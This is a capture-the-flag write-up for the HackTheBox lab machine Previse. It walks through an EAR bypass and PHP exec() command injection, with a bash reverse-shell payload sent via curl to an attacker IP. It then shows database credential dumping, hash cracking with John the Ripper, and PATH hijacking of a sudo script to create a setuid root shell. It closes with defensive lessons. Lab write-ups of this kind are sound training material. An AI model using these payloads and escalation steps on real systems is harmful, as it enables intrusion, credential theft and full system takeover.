HTB: Previse Writeup

Previse - HackTheBox Writeup

Machine Information

AttributeDetails
NamePrevise
OSLinux
DifficultyEasy
PointsN/A
Release Date30th Dec 2021
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Previse is an easy-difficulty machine that demonstrates critical web application vulnerabilities in a custom file storage system. The exploitation chain begins with discovering an Execution After Redirect (EAR) vulnerability that allows unauthenticated access to the account creation page, followed by exploiting unsanitized user input in a PHP exec() function call to achieve remote code execution. From the www-data shell, database credentials are harvested and used to extract password hashes protected by a custom MD5Crypt algorithm with unicode salt. After cracking the hash, lateral movement to a standard user account is achieved via SSH. Finally, privilege escalation is accomplished through PATH hijacking on a sudo-executable script that calls binaries without absolute paths.

TL;DR: EAR bypass → PHP exec() injection → RCE as www-data → Hash cracking via John → SSH lateral movement → PATH hijacking on sudo script → Root shell.


Reconnaissance

Port Scanning

Terminal window
# Quick port enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.104 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed service scan
nmap -p$ports -sV 10.10.11.104

Results:

  • Port 22/tcp - OpenSSH (SSH service)
  • Port 80/tcp - Apache HTTP Server (web application)

The nmap scan reveals a standard web server running on port 80 with SSH available for remote access on port 22. Navigating to http://10.10.11.104 presents a custom file storage web application with a login page at /login.php.

Service Enumeration

Terminal window
# Directory enumeration using gobuster
gobuster dir -u http://10.10.11.104 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php

Key discoveries:

  • login.php - Authentication portal
  • accounts.php - Account creation interface (admin-only)
  • files.php - File management interface
  • logs.php - Log processing functionality
  • nav.php - Navigation bar component
  • config.php - Configuration file

Vulnerability Assessment

  1. Execution After Redirect (EAR) - The application improperly validates redirect enforcement, allowing unauthenticated access to protected pages
  2. PHP exec() Command Injection - User-supplied input passed directly to exec() without sanitization
  3. Custom MD5Crypt Hash with Unicode Salt - Weak password protection mechanism
  4. PATH Hijacking via sudo Script - Privilege escalation script uses relative paths for binaries

Initial Foothold

Exploitation Path: EAR to Account Creation

When attempting to create an account through the web interface, users are redirected to the login page. However, the redirect enforcement is faulty.

Step 1: Intercept the Redirect

Using Burp Suite, capture the GET request to accounts.php when clicking the “Create Account” button. Instead of following the redirect, examine the response without redirect enforcement to reveal the account creation form.

Step 2: Create a User Account

Craft a POST request to accounts.php with the following parameters:

Terminal window
# POST request to accounts.php
username=testuser&password=password123&confirm=password123&submit=

This bypasses the redirect validation and allows account creation despite being unauthenticated.

Exploitation Path: PHP exec() Injection to RCE

After logging in with the created account, navigate to files.php where a site backup zip file is available for download. Extract and analyze the source code.

Step 3: Identify exec() Vulnerability in logs.php

The logs.php source code reveals:

<?php
session_start();
if (!isset($_SESSION['user'])) {
header('Location: login.php');
exit;
}
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
header('Location: login.php');
exit;
}
// User input passed directly to exec() without sanitization
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
$filepath = "/var/www/out.log";
$filename = "out.log";
if(file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
ob_clean();
flush();
readfile($filepath);
die();
} else {
http_response_code(404);
die();
}
?>

Step 4: Craft Command Injection Payload

The delim parameter is passed directly to a Python script without sanitization. Inject shell commands using semicolon separation:

Terminal window
# Start a netcat listener on your attack box
nc -lvnp 4444
# URL-encoded payload for command injection
# Original: ;bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1';
# URL-encoded: %3bbash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'%3b
# POST request (via Burp Suite or curl)
curl -X POST http://10.10.11.104/logs.php \
-b "PHPSESSID=<session_cookie>" \
-d "delim=%3bbash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'%3b"

Step 5: Gain www-data Shell

The command injection triggers a reverse shell connection, providing access as the www-data user:

Terminal window
# Shell obtained as www-data
whoami
# Output: www-data

Privilege Escalation

Lateral Movement: Database to User SSH Access

Step 6: Extract Database Credentials

From the www-data shell, read the application configuration file:

Terminal window
cat /var/www/html/config.php

Output reveals MySQL credentials:

<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>

Step 7: Query Database for User Hashes

Connect to MySQL and extract password hashes:

Terminal window
# Enumerate databases
mysql -u root -p'mySQL_p@ssw0rd!:)' -e 'show databases;'
# Enumerate tables in previse database
mysql -u root -p'mySQL_p@ssw0rd!:)' previse -e 'show tables;'
# Extract user accounts
mysql -u root -p'mySQL_p@ssw0rd!:)' previse -e 'select * from accounts;'

This reveals password hashes for users including m4lwhere with a hash created using custom MD5Crypt with unicode salt.

Step 8: Crack the Hash

Examine the password hashing mechanism in accounts.php:

$hash = crypt($password, '$1$ llol$');

The salt contains unicode characters. Use John the Ripper with the md5crypt-long format:

Terminal window
# Save the hash to a file
echo '$1$ llol$<hash_value>' > hash.txt
# Crack the hash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long hash.txt
# Example output shows cracked password

Step 9: SSH Access as m4lwhere

With the cracked password, authenticate via SSH:

Terminal window
ssh m4lwhere@10.10.11.104
# Enter cracked password when prompted
# Read user flag
cat /home/m4lwhere/user.txt

Privilege Escalation: PATH Hijacking

Step 10: Identify sudo Executable

Check available sudo privileges:

Terminal window
sudo -l

Output shows:

User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh

Step 11: Analyze the Script

Read the privileged script:

Terminal window
cat /opt/scripts/access_backup.sh

Content reveals:

#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

The script calls gzip and date without absolute paths, enabling PATH hijacking.

Step 12: Create Malicious Binaries

Exploit PATH hijacking by creating fake binaries in /tmp:

Terminal window
# Change to /tmp directory
cd /tmp
# Prepend /tmp to PATH so our malicious gzip is found first
export PATH=/tmp:$PATH
# Create malicious gzip script
cat > gzip << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/bash
chmod 4755 /tmp/bash
EOF
# Make it executable
chmod +x gzip
# Verify the setup
ls -la gzip

Step 13: Execute Privilege Escalation

Run the sudo script, which will execute our malicious gzip with root privileges:

Terminal window
sudo /opt/scripts/access_backup.sh

This copies /bin/bash to /tmp/bash with the setuid bit set (4755), allowing execution as root.

Step 14: Gain Root Shell

Execute the setuid bash with the -p flag to maintain root privileges:

Terminal window
/tmp/bash -p
# Verify root access
whoami
# Output: root
# Read root flag
cat /root/root.txt

Attack Chain Summary

EAR Bypass (accounts.php) → User Account Creation → Login →
PHP exec() Injection (logs.php) → RCE as www-data →
Database Credential Extraction (config.php) → MySQL Query →
Hash Cracking (John the Ripper) → SSH as m4lwhere →
sudo Enumeration → PATH Hijacking (gzip binary) →
Setuid Bash Execution → Root Access

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
gobusterDirectory and file enumeration
Burp SuiteHTTP request interception and modification
curlCommand-line HTTP requests
mysqlDatabase querying and credential extraction
johnPassword hash cracking with custom formats
sshRemote shell access and lateral movement
nc (netcat)Reverse shell listener

Key Learnings

Techniques Practiced

  • Execution After Redirect (EAR) vulnerability exploitation
  • Command injection in PHP exec() function calls
  • Reverse shell payload crafting and delivery
  • MySQL database enumeration and data extraction
  • Custom hash cracking with unicode salts using John the Ripper
  • PATH environment variable manipulation for privilege escalation
  • Setuid binary exploitation
  • Sudo privilege abuse through script vulnerabilities

Lessons Learned

  1. Redirect Validation is Critical - Applications must enforce redirects on the server-side and validate authentication state before rendering sensitive content, regardless of redirect follow-through.

  2. Input Sanitization is Non-Negotiable - Any user input passed to system commands via exec(), shell_exec(), or similar functions must be properly escaped or filtered to prevent command injection.

  3. Hardcoded Credentials are a Security Liability - Database passwords in source code create lateral movement pathways; credentials should be managed through secure configuration management systems.

  4. Weak Hashing Algorithms Remain Crackable - Even with salt, custom or outdated hashing algorithms (like MD5Crypt) are vulnerable to dictionary attacks with sufficient computational resources.

  5. Absolute Paths are Essential in Scripts - Privileged scripts must use absolute paths for all executed binaries to prevent attackers from hijacking the PATH environment variable.

  6. Sudo Capabilities Require Auditing - Regular review of sudo privileges and the scripts they execute is essential; scripts should be verified for security issues before being added to sudoers.

  7. Defense in Depth Matters - Multiple small vulnerabilities chained together (EAR + exec injection + weak hashing + PATH hijacking) can completely compromise a system; each layer of defense must be implemented.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>